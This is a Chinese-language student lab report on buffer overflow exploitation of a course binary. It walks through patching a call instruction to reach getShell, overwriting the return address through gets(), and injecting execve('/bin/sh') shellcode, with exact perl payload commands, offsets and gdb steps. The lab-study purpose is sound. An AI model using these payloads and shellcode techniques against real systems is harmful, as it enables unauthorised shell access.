1.實驗內容
本次實驗是關於緩衝區溢位攻擊的,主要的學習內容如下:
1.基本Linux命令
objdump:將程式碼段反彙編,在這次實驗中主要是用來找地址的。
xxd:實現十六進位制與二進位制的轉換,在這次實驗的過程中,主要是有兩個地方用到了這個命令。一是在開啟檔案後進行轉換,而是以十六進位制開啟檔案,保證字串構造正確。
還有一些gdb除錯過程中用到的命令。
2.記憶體地址結構
對於程式在計算機中的儲存有了一個基本的瞭解,主要是對諸如eip,esp等暫存器的功能有了一個大概的瞭解。
3.學習基本的BOF注入攻擊原理
這次實驗總共進行了兩次BOF注入攻擊,透過修改機器指令,或者注入shellcode,從而實現對原程式執行邏輯的改變。
2.實驗過程
2.1手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式
2.1.1傳入檔案
首先,把這次實驗的需要用到的檔案在自己的電腦上下載好,然後直接傳入kali虛擬機器,改成符合要求的檔名。
2.1.2執行反彙編
在這一步,需要啟動root許可權的終端,進行反彙編,指令如下
┌──(root㉿yinzixin)-[~]
└─# cd /home/kali/桌面
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# objdump -d pwn20222401 | more
下面展示一下反彙編的結果(只展示一會要操作的部分)
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
2.1.3分析、修改以實現跳轉
我們重點關注main函式的這一行
80484b5: e8 d7 ff ff ff call 8048491 <foo>
這裡是main函式跳轉執行地址8048491的foo函式,我們現在想讓main函式在這裡執行getshell函式,只需要將這裡的執行地址改成getshell的首地址,就可以跳轉執行到getshell。
經過查詢,call的機器碼是e8,那後面的d7 ff ff ff應該就是地址,這個是機器補碼,正確的順序應該是FF FF FF D7,十進位制數值是-41,對應16進位制應該是負的0x29,用80484ba(這裡是下一跳地址,我猜測是因為地址暫存器已經發生變化,不能使用本次的地址)減去29正好就是8048491,對應著foo函式的地址.
所以想要讓這一步能夠執行getshell函式,就需要調整好這個數值,使得跳轉地址變成getshell函式的地址,即804847d,計算之後是FF FF FF C3,反過來就是c3 ff ff ff,則修改之後的指令應該是e8 c3 ff ff ff。
接下來進行修改。這裡我們使用複製的副本(主要是後面還要用這個檔案,直接改掉了後面會比較麻煩)pwn20222401_getShell,複製命令如下
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_getShell
然後使用文字編輯功能開啟檔案,修改相應位置即可。
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# vi pwn20222401
使用下面的命令進行轉換(要是看得懂可以不轉換)
:%!xxd(這個就是前面提到的十六進位制轉換)
然後查詢我們要修改的地址f0e8 d7ff
,這裡需要注意,查詢時“/e8d7”的查詢是失效的,只能查詢前半部分或者後半部分。
f0e8查詢成功
d7ff查詢成功
e8d7查詢失敗
接下來,我們按照上面的分析進行修改(需要按“i”進入編輯模式),注意,修改之後需要輸入:%!xxd -r
進行格式轉換,否則寫入不成功。
2.1.4執行測試
原先的程式,會輸出你輸入的字串
修改之後的程式,已經變成shell的樣子了。
說明修改成功了,達到了我們預設的效果。
2.2利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式
2.2.1字串長度確定
核心原理:透過輸入一個合適的字串,使得字串末尾正好覆蓋地址指標暫存器,從而實現跳轉。
這裡測試一下111112222233333444445555566666777778888899999
注意,需要在gdb除錯環境下檢視
我們注意到eip那一行是0x38373737,翻譯一下就是8 7 7 7,也就是說現在這個字串有點長了~
根據這個資訊,可以調整一下,變成111112222233333444445555566666771234
,再試一下
這次我們看到,正正好好就是0x34333231,對應的是4 3 2 1,說明現在這個字串的後四位不偏不倚地覆蓋了eip,那麼後續我們只需要將這裡換成相應的跳轉地址就可以了。
根據上文,getshell的首地址是804847d,那麼我們應該輸入11111111222222223333333344444444\x7d\x84\x04\x08
但是16進位制是不能透過鍵盤輸入的,所以需要構造一個檔案,命令如下
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
檢視一下檔案的內容,保證沒問題
2.2.2執行測試
接下來只需要將這個檔案“強行輸入”進原先的程式,就能觸發,命令如下
(cat input; cat) | ./pwn20222401_BOF
這裡看到也是成功觸發了getshell,證明我們的操作達到了預期效果。
2.3注入一個自己製作的shellcode並執行這段shellcode
2.3.1前置條件
shellcode注入需要一些條件,這裡一一列出
execstack -s //pwn1設定堆疊可執行
execstack -q //pwn1查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space //檢視地址隨機化狀態
最後一條尤為重要,這是保證地址不發生變化的關鍵。
建立本次操作用的副本,並調整為可執行許可權
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_shellcode
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# chmod 777 pwn20222401_shellcode
接下來構造payload,格式為anything+retaddr+nops+shellcode
,先做一個試試看
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
然後再起一個終端,執行下面的注入命令(cat input_shellcode;cat) | ./pwn20222401_shellcode
接下來,切換回原來那個終端,查詢剛才的程序號
ps -ef | grep pwn20222401_shellcode
我們得到了剛才執行的PID是84214,下面在gdb模式下進入程序。
設定斷點disassemble foo
break *0x080484ae
接下來,切換到另一個程序,按一下回車,然後再回來(讓程式跑一步)
輸入c
和i r
(檢視暫存器狀態)
輸入x/16x 0xffffd39c
檢視esp暫存器
我們的目標就是把程式碼放到0x01020304後面的位置上,所以,地址直接+4即可,就是0xffffd3a0,接下來生成新的input_shellcode檔案
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
2.3.2測試執行
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# (cat input_shellcode;cat) | ./pwn20222401
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����������1�Ph//shh/bin��PS��1Ұ
�
ls
input_shellcode pwn20222401
exit
這樣我們看到,注入就成功了。
3.問題及解決方案
-
問題1:execstack查詢不到路徑
-
問題1解決方案:從
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下載好相應的檔案,然後拖回虛擬機器,輸入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
直接解壓即可。 -
問題2:gdb查詢不到路徑
-
問題2解決方案:輸入
wget http://ftp.gnu.org/gnu/gdb/gdb-8.0.1.tar.gz
下載,使用tar -zxvf /home/kali/Desktop/gdb-8.0.1.tar.gz
解壓。 -
問題3:kali桌面系統卡死(只有預設桌布)
-
問題3解決方案:依次輸入下列命令
apt-get clean apt-get remove xfce4 xfce4-places-plugin apt-get install x-window-system-core apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin reboot
-
問題4:終端名稱無法修改
-
問題4解決方案:輸入
hostnamectl set-hostname <新主機名>
-
問題5:檔案執行許可權不足
-
問題5解決方案:輸入
chmod 777 <檔名>
4.學習感悟、思考等
這一次的實驗對我來說難度不算小,倒不是因為實驗本身有多難,而是自己相關方面的知識欠缺較多。在理解BOF注入的過程中花費了很多時間在地址跳轉理解上,同時,kali系統本身並不是很完善,執行過程中有時會出現很多問題,都需要一點點去排查(裝gdb和execstack大概消耗了半天時間,很麻煩,基本上很多方法都試過了)。
在這次實驗的過程中,讓我印象最深刻的就是BOF注入的過程。首先是要確定攻擊的目標是什麼(esp),然後精心選擇合適的字串(太長也不行,會覆蓋掉其他內容,導致程式崩潰),然後選擇注入,最後才能實現。這次算是很直觀的體會到了緩衝區溢位的危險,本次使用的是“人畜無害”的shellcode,要是執行了其他惡意程式碼,對作業系統的危害是不可估量的。
最後,這次實驗還有很多內容我是一知半解的,還需要在接下來的時間裡面慢慢學習。
參考資料
- 《逆向及Bof基礎實踐說明》
- 《[虛擬機器]KaLi安裝gdb》
- 《Linux zsh:許可權不夠》
- 《彙編中call指令和其對應的機器碼》
- 《Linux xxd命令詳解》
- 《objdump(Linux)反彙編命令使用指南》